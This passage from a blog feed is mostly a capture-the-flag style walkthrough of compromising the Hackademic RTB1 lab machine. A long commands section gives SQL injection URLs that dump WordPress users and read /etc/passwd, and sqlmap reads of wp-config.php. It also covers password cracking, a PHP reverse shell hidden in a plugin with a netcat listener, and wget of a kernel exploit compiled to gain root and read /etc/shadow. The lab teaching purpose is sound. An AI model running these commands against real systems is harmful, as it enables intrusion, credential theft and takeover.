href="http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb2.html"&gt;http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb2.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/showthread.php?t=47201&amp;amp;p=211962&amp;amp;viewfull=1#post211962"&gt;http://www.backtrack-linux.org/forums/showthread.php?t=47201&amp;amp;p=211962&amp;amp;viewfull=1#post211962&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-6929862858552940320?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/6929862858552940320/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb2.html#comment-form' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6929862858552940320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6929862858552940320'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb2.html' title='[Video] Hackademic RTB2'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-5828494413401998596</id><published>2012-01-05T23:47:00.000Z</published><updated>2012-01-06T19:02:07.540Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='Hackademic'/><title type='text'>[Video] Hackademic RTB1</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line:&amp;nbsp;&lt;a href="http://blip.tv/g0tmi1k/hackademic-rtb1-5866864"&gt;http://blip.tv/g0tmi1k/hackademic-rtb1-5866864&lt;/a&gt;&lt;a href="http://www.mediafire.com/?70m714m55v4c6df"&gt;&lt;/a&gt;&lt;br /&gt;Download video:&amp;nbsp;&lt;a href="http://www.mediafire.com/?9d45sfd7j8m531t"&gt;http://www.mediafire.com/?9d45sfd7j8m531t&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFguaLVAA.html?p=1" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFguaLVAA" src="http://a.blip.tv/api.swf#hdkFguaLVAA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview&lt;/div&gt;&lt;a href="http://g0tmi1k.blogspot.com/search/label/Hackademic"&gt;Hackademic&lt;/a&gt;&amp;nbsp;is the first in a collection of "&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;"&amp;nbsp;operating&amp;nbsp;systems&amp;nbsp;which has purposely designed weakness(es) built into it. The&amp;nbsp;user's end goal is to interact with it and get the highest user privilege they can.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned network for the target [NetDiscover]&lt;/li&gt;&lt;li&gt;Port scanned the target [UnicornScan]&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the open port(s) [NMap]&lt;/li&gt;&lt;li&gt;Interacted with the&amp;nbsp;web server &amp;amp;&amp;nbsp;enumerated&amp;nbsp;the web application&amp;nbsp;[Firefox &amp;amp; WPScan]&lt;/li&gt;&lt;li&gt;Discovered &amp;amp; exploit an SQL injection&amp;nbsp;vulnerably and download the configuration files [Exploit-DB &amp;amp; SQLMap]&lt;/li&gt;&lt;li&gt;Brute Force the user credentials for the web application [John The Ripper]&lt;/li&gt;&lt;li&gt;Hijacked a plugin for the theweb application&amp;nbsp;with a web shell backdoor [Pentestmonkey's Php-Reverse-Shell]&lt;/li&gt;&lt;li&gt;Escalated privileges via a vulnerable kernel version [RDS Protocol exploit]&lt;/li&gt;&lt;li&gt;Accessed the 'flag' [Text file]&lt;/li&gt;&lt;li&gt;&lt;i&gt;Discovered other 'interesting&amp;nbsp;files' [Forensics analysis?]&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need?&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://ghostinthelab.wordpress.com/2011/09/06/hackademic-rtb1-root-this-box/"&gt;Hackademic.RTB1.zip&lt;/a&gt;&amp;nbsp;&lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5:&amp;nbsp;C972E899A8B5A745963BEF78FBCAEC6F)&lt;/span&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine&amp;nbsp;&lt;i&gt;(Example:&amp;nbsp;&lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;&amp;nbsp;or&amp;nbsp;&lt;i&gt;&lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt;&lt;/i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.nixgeneration.com/~jaime/netdiscover/"&gt;NetDiscover&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found in&amp;nbsp;&lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.unicornscan.org/" style="font-style: normal;"&gt;UnicornScan&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;NMap&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.mozilla.org/en-US/firefox"&gt;Firefox&amp;nbsp;&lt;/a&gt;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://code.google.com/p/wpscan/"&gt;WPScan&lt;/a&gt; –&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://sqlmap.sourceforge.net/"&gt;SQLMap &lt;/a&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;a href="http://www.openwall.com/john/" style="font-style: normal;"&gt;John The Ripper&lt;/a&gt;&lt;span style="font-style: normal;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell"&gt;php-reverse-shell&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;NetCat&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://www.exploit-db.com/exploits/15285/"&gt;RDS Protocol&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Found on exploit-db.com &amp;amp; Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough&lt;/div&gt;To start the attack, the target needs to be located.&amp;nbsp;By using&amp;nbsp;"NetDiscover" it is able to quickly list all IP's, Media Access Control (MAC) addresses and known vendors in the same subnet. As the attacker knows that the target is using VMware and the target hasn't spoofed their MAC address, they notice only one VMware&amp;nbsp;vendor&amp;nbsp;therefore they can successfully&amp;nbsp;identify the target.&lt;br /&gt;&lt;br /&gt;The attacker now concentrates on the target's single IP address by port scanning every TCP and UDP port. "UnicornScan" reported one open port, TCP 80 (HTTP), which the attacker then&amp;nbsp;verifies by using "nmap". During the port scan the attacker uses nmap's&amp;nbsp;scripting engine to detect the service on the port (which is a web server) and banner grab (which&amp;nbsp;possible&amp;nbsp;enumerates software and it's version). Depending on the outcome of the scan, nmap then executes other scripts. In this instance the &lt;a href="http://nmap.org/nsedoc/scripts/http-methods.html"&gt;http methods&lt;/a&gt; were detected&amp;nbsp;(which shows what options are supported by an HTTP server) along with the page's title. &lt;i&gt;Nmap also tries to fingerprint the&amp;nbsp;operating&amp;nbsp;system (Linux 2.6.22-2.6.36).&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;By inspecting the web service the attacker is able to see if any web application is running and if they are able to interact with it. The web server&amp;nbsp;responds when the attacker views the&amp;nbsp;contents&amp;nbsp;using "firefox". They are then presented with a page that has a message from the target's author forwarding them along to another page. Upon following the link, the attacker then views the blog. By viewing the page source code the attacker notices a&amp;nbsp;possible web product&amp;nbsp;that could be used to power the blog along with its version.&lt;br /&gt;&lt;br /&gt;To confirm their findings the attacker installs and runs "wpscan", which is a&amp;nbsp;vulnerability&amp;nbsp;scanner specifically designed for the blogging software, wordpress. This program will automate the process of&amp;nbsp;identifying known vulnerabilities using various different techniques. WPScan confirms its wordpress and its version along with a known&amp;nbsp;vulnerability.&lt;br /&gt;&lt;br /&gt;The attacker&amp;nbsp;searches a public exploit database, "exploit-db", to see if they are able to find the exploit which was mentioned in wpscan. The database returned six exploits for wordpress. The attacker views the content of the first exploit code to discover how it functions.&amp;nbsp;&lt;i&gt;Editor's&amp;nbsp;note: When executing the exploit and&amp;nbsp;targeting&amp;nbsp;the target, the exploit didn't work, same with the exploit reported by wpscan.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The attacker moves back to firefox and using the exploit code, manually tests for the same SQL injection vulnerability. Upon requesting the malformed URL with the injection code present, the attacker notices an SQL error message on the side, therefore confirming that the web application is vulnerable. The attacker then starts the process of SQL injection. To start off with the attacker needs to know the number of columns within the query that is to be injected into, which is done by increasing the value tested by 1 until they reach an error. Once the amount is known, they need to be able to locate the output of the SQL query on the page. Once this is done the attacker is able to start enumerating the back end database, by finding out the version, current user and current database in use. They are also able to read files locally &lt;i&gt;(as long as the database service has permission to do so)&lt;/i&gt; on the server too, by encoding the filename into base64.&lt;br /&gt;&lt;br /&gt;To speed up the SQL injection process, the attacker switches to "SQLMap" which automates a lot of the work. &lt;i&gt;The attacker repeats what was done before manually now with sqlmap&amp;nbsp;automatically to&amp;nbsp;demonstrate how simpler the process now is. At the same time they collect&amp;nbsp;&lt;/i&gt;&lt;i&gt;hashed&lt;/i&gt;&lt;i&gt;&amp;nbsp;passwords to the database. &lt;/i&gt;The attacker&amp;nbsp;continues by trying&amp;nbsp;to view the web server&amp;nbsp;configuration&amp;nbsp;file(s). They start off by locating their local file, to see if it matches the targets and&amp;nbsp;attempts to access it&amp;nbsp;&lt;i&gt;- which fails.&lt;/i&gt;&amp;nbsp;They keep trying to access other&amp;nbsp;possible&amp;nbsp;default locations (&lt;a href="http://g0tmi1k.blogspot.com/2011/08/basic-linux-privilege-escalation.html"&gt;source&lt;/a&gt;) until they are successful. After viewing the file the attacker now knows the local path of the root folder for the web server. From here the attacker wants to download the configuration file which is used for the blog software. As the blog needs to store the credentials to the database to be able to access it, the attacker tries the default filename for wordpress that contains the&amp;nbsp;configuration. After sqlmap downloads the file, the attacker now has the&amp;nbsp;credentials&amp;nbsp;in plain-text to the MySQL database.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;The attacker then uses the hash which was collected by SQLMap to validate the&amp;nbsp;configuration&amp;nbsp;file by using "John The Ripper" (which has to have the 'jumbo' patch (aka&amp;nbsp;community - enhanced version)&amp;nbsp;applied&amp;nbsp;to support the MySQL hash format).&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now the attacker sets out to obtain the user credentials to the blog via the SQL injection. By viewing the wordpress&amp;nbsp;documents, they are able to understand the &lt;a href="https://codex.wordpress.org/Database_Description"&gt;Database&amp;nbsp;Description&lt;/a&gt;. They discover there are 6 users&amp;nbsp;registered&amp;nbsp;and the fields used to store all their values. The attacker creates a simple loop to request each user's username and password &lt;i&gt;(which is stored in a hash format).&amp;nbsp;Editor's&amp;nbsp;note:&amp;nbsp;This could have been automated using SQLMap.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;After the user's password hashes have been saved the attacker starts to brute force their passwords using a wordlist. After all the values have been tested against the hashes the attacker now has five user's passwords in plain-text. The attacker then checks the database to see each user's permission in relation to the blog. However they soon discover the one password which wasn't cracked is the&amp;nbsp;administration&amp;nbsp;password to the blog. They search the computer for another wordlist and attempt to see if that would crack the password - which it did.&amp;nbsp;&lt;i&gt;Editor's&amp;nbsp;note: If the attacker wasn't able to crack the password, they could attempt to either alter another user to become an admin or create another admin account.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;After navigating to the default location of the admin panel, the attacker is able to test out the acquired admin credentials. As a result the attacker now has full control over the blog software (&lt;i&gt;as well as access to the database). &lt;/i&gt;The attacker notices that file uploads have been disabled. However instead of enabling them &lt;i&gt;(as well as altering the allowed file types), &lt;/i&gt;the attacker opts to edit an un-used plugin instead. The&amp;nbsp;justification&amp;nbsp;of this is once the file has been edited, it's&amp;nbsp;automatically&amp;nbsp;removed from the plugin list so it is less obvious than altered settings which the&amp;nbsp;attacker&amp;nbsp;believes the admin would notice before wanting to enable the plugin again.&amp;nbsp;Also the attacker&amp;nbsp;believes&amp;nbsp;there is a higher chance the admin will check the upload folder rather than&amp;nbsp;checking the files in the plugin folder to the plugin list.&amp;nbsp;The attacker&amp;nbsp;chooses the plugin&amp;nbsp;"textile 1" to replace.&amp;nbsp;&lt;i&gt;Editor's&amp;nbsp;note: Instead of&amp;nbsp;overwriting&amp;nbsp;the file, it could be&amp;nbsp;possible&amp;nbsp;to&amp;nbsp;amend the code at the end, leaving the existing&amp;nbsp;functionality intact.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;"php-reverse-shell" by&amp;nbsp;pentest monkey is an interactive shell which is spawned when the PHP code is executed. The attacker copies the contents of the file and pastes it over the plugin. They then update the shell to have the attacker's IP address and a different port. Upon saving the updated plugin with the modified web shell code, when the attacker checks the list of plugins, they discover it has been removed &lt;i&gt;(which also means they are unable to edit the file any more)&lt;/i&gt;. As the&amp;nbsp;nature is a&amp;nbsp;reverse connection, the attacker needs to have a listener waiting on the same port to catch the request from the web shell when the PHP function is called from the target. The attacker sets up "netcat" to be the listener and then triggers their plugin. The attacker is then able to&amp;nbsp;interact with the target with a command line interface running as the same permission as the web server.&lt;br /&gt;&lt;br /&gt;The attacker now tries to escape privileges&amp;nbsp;in-which&amp;nbsp;to gain higher level of access into the system. One common method is by exploiting the kernel &lt;i&gt;(ONLY if it is vulnerable!)&lt;/i&gt;. The attacker finds the current kernel version out and again searches their local copy exploit-db. The attacker discovers a potential&amp;nbsp;exploit that could work with the kernel version. The attacker checks that the exploit code doesn't contain any 'non-code' which would stop the file from compiling, then copies a version to their local web root folder, remove the 'non-code', gives permission to the file to make sure every user has access to the file and then starts a web server.&lt;br /&gt;&lt;br /&gt;Controlling the target the attacker locates a folder which they have the permission to write to and execute files from. Upon entering such a path the attacker&amp;nbsp;instructs&amp;nbsp;the target to download the exploit code from the attacker and compile it. After executing the exploit the attacker has now got root access to the target. They then move to the root's personal home folder to locate &amp;amp; view the "key" file which was mentioned in the message at the start of the attack.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Upon exploring the rest of the file system, the attacker also noticed other 'sensitive' data on the target's machine. For example, bash commands which had been&amp;nbsp;perversity been entered as root by another user earlier, as well as deleted files which were in the trash folder that hasn't yet been removed.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again!&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;"&gt;&lt;pre class="alt2" dir="ltr" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 200px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 600px;"&gt;netdiscover -r 192.168.0.1/24&lt;br /&gt;us -H -msf -Iv 192.168.0.130 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.0.130 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v 192.168.0.130    # -p 80&lt;br /&gt;// firefox -&amp;gt; 192.168.0.130 -&amp;gt; Target (/Hackademic_RTB1/) -&amp;gt; Right click -&amp;gt; View source   # WordPress 1.5.1.1&lt;br /&gt;apt-cache show wpscan&lt;br /&gt;apt-get install wpscan&lt;br /&gt;cd /pentest/web/wpscan/&lt;br /&gt;./wpscan.rb&lt;br /&gt;./wpscan.rb --url http://192.168.0.130/Hackademic_RTB1/&lt;br /&gt;cd /pentest/exploits/exploitdb/&lt;br /&gt;cat files.csv | grep -i wordpress | grep 1.5.1&lt;br /&gt;perl platforms/php/webapps/1033.pl&lt;br /&gt;perl platforms/php/webapps/1033.pl http://192.168.0.130/Hackademic_RTB1 2&lt;br /&gt;cat platforms/php/webapps/1033.pl&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0'&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 1&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 2&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 3&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 4&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 5&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 order by 6&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,2,3,4,5&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,version(),3,4,5&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,user(),3,4,5&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,database(),3,4,5&lt;br /&gt;// http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,load_file(/etc/passwd),3,4,5&lt;br /&gt;echo -n /etc/passwd | xxd -p -&lt;br /&gt;http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5&lt;br /&gt;cd /pentest/database/sqlmap/&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --file-read=/etc/passwd&lt;br /&gt;cat /pentest/database/sqlmap/output/192.168.0.130/files/_etc_passwd&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --banner --current-db --current-user --is-dba&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --dbs&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 --dbs&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 --tables -v 0&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 -D mysql --columns -v 0&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/?cat=0 --password -v 0&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --file-read=/etc/httpd/conf/httpd.conf&lt;br /&gt;cat /pentest/database/sqlmap/output/192.168.0.130/files/_etc_httpd_conf_httpd.conf | grep DocumentRoot&lt;br /&gt;./sqlmap.py --url=http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 --file-read=/var/www/html/Hackademic_RTB1/wp-config.php&lt;br /&gt;cat /pentest/database/sqlmap/output/192.168.0.130/files/_var_www_html_Hackademic_RTB1_wp-config.php&lt;br /&gt;cd /pentest/passwords/john&lt;br /&gt;./john&lt;br /&gt;./john /tmp/crackme --wordlist=/tmp/pass --format=MYSQL&lt;br /&gt;#./john /tmp/crackme --show&lt;br /&gt;firefox wordpress.org -&amp;gt; Database_Description -&amp;gt; WordPress 1.5   # http://codex.wordpress.org/Database_Description/1.5&lt;br /&gt;http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,count(*),3,4,5 from wp_users&lt;br /&gt;http://192.168.0.130/Hackademic_RTB1/index.php?cat=0 union select 1,concat(user_login,0x3a,user_pass),3,4,5 from wp_users&lt;br /&gt;curl --silent http://192.168.0.130/Hackademic_RTB1/index.php?cat=0%20union%20select%201,concat%28user_login,0x3a,user_pass%29,3,4,5%20from%20wp_users | grep page | sed 's/.*;\(.*\)&amp;amp;.*/\1/'&lt;br /&gt;for x in $(seq 1 6); do curl --silent http://192.168.0.130/Hackademic_RTB1/index.php?cat=0%20union%20select%201,concat%28user_login,0x3a,user_pass,0x3a,user_level%29,3,4,5%20from%20wp_users%20where%20ID=$x | grep page | sed 's/.*;\(.*\)&amp;amp;.*/\1/'; done   # Could even use the first SQL injection for count&lt;br /&gt;for x in $(seq 1 6); do curl --silent http://192.168.0.130/Hackademic_RTB1/index.php?cat=0%20union%20select%201,concat%28user_login,0x3a,user_pass%29,3,4,5%20from%20wp_users%20where%20ID=$x | grep page | sed 's/.*;\(.*\)&amp;amp;.*/\1/' &amp;gt;&amp;gt; /tmp/wordpress; done&lt;br /&gt;&lt;br /&gt;cd /pentest/password/john&lt;br /&gt;./john /tmp/crack --wordlist=/pentest/passwords/wordlists/darkc0de.lst --format=raw-MD5&lt;br /&gt;&lt;br /&gt;http://192.168.0.130/Hackademic_RTB1/wp-admin/   # GeorgeMiller // q1w2e3&lt;br /&gt;#Plugins -&amp;gt; Hello Dolly -&amp;gt; Actiavte. Manage -&amp;gt; Files -&amp;gt; textile1.php&lt;br /&gt;cd /pentest/backdoors/web/webshells/&lt;br /&gt;cat php-reverse-shell.php    # Edit IP &amp;amp; port&lt;br /&gt;nc -lvvp 443&lt;br /&gt;&lt;br /&gt;curl http://192.168.0.130/Hackademic_RTB1/wp-content/plugins/textile1.php; exit&lt;br /&gt;&lt;br /&gt;uname -a&lt;br /&gt;&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;cat files.csv | grep "linux,local" | grep "Local Privilege Escalation"&lt;br /&gt;head platforms/linux/local/15285.c&lt;br /&gt;cp platforms/linux/local/15285.c /var/www/&lt;br /&gt;nano /var/www/15285.c    # add "//" on line 1&lt;br /&gt;chmod +x /var/www/15285.c&lt;br /&gt;/etc/init.d/apache2 start&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;wget 192.168.0.162/15285.c -O root.c&lt;br /&gt;gcc root.c -o root&lt;br /&gt;./root&lt;br /&gt;&lt;br /&gt;id&lt;br /&gt;ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp;  ls -lAh /root&lt;br /&gt;cat /root/key.txt&lt;br /&gt;#cat /root/.bash_history&lt;br /&gt;#ls -lAh /root/.local/share/Trash/files&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;When starting the VM for the first time with VMware, select "I Moved It" -&amp;nbsp;&lt;i&gt;otherwise it could cause issues (e.g. the target will not be visible!).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Some mistakes in the video are more obvious.&lt;/li&gt;&lt;li&gt;Instead of using "php-reverse-shell" &amp;amp; "netcat", "PHP Meterpreter" &amp;amp; "Metasploit" could of been used.&lt;/li&gt;&lt;li&gt;It is worth downloading wordpress to be familiar with a default configuration.&lt;/li&gt;&lt;li&gt;The target uses DHCP to obtain an IP address.&lt;/li&gt;&lt;li&gt;The selection area to record was not in&amp;nbsp;align&amp;nbsp;when I recorded it&lt;/li&gt;&lt;/ul&gt;Song(s):&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/6529859/Kissed-By-A-Kisser/Product.html?aid=6529178"&gt;Xploding Plastix - Kissed By A Kisser&lt;/a&gt;&amp;nbsp;&amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/20850050/Illmerica/Product.html?aid=20848130"&gt;Wolfgang Gartner - Illmerica (Extended Version)&lt;/a&gt;&lt;br /&gt;Video length: 14:06&lt;br /&gt;Capture length:&amp;nbsp;71:19&lt;br /&gt;Blog Post:&amp;nbsp;&lt;a href="http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb1.html"&gt;http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb1.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/showthread.php?t=47187&amp;amp;p=211925#post211925"&gt;http://www.backtrack-linux.org/forums/showthread.php?t=47187&amp;amp;p=211925#post211925&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-5828494413401998596?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 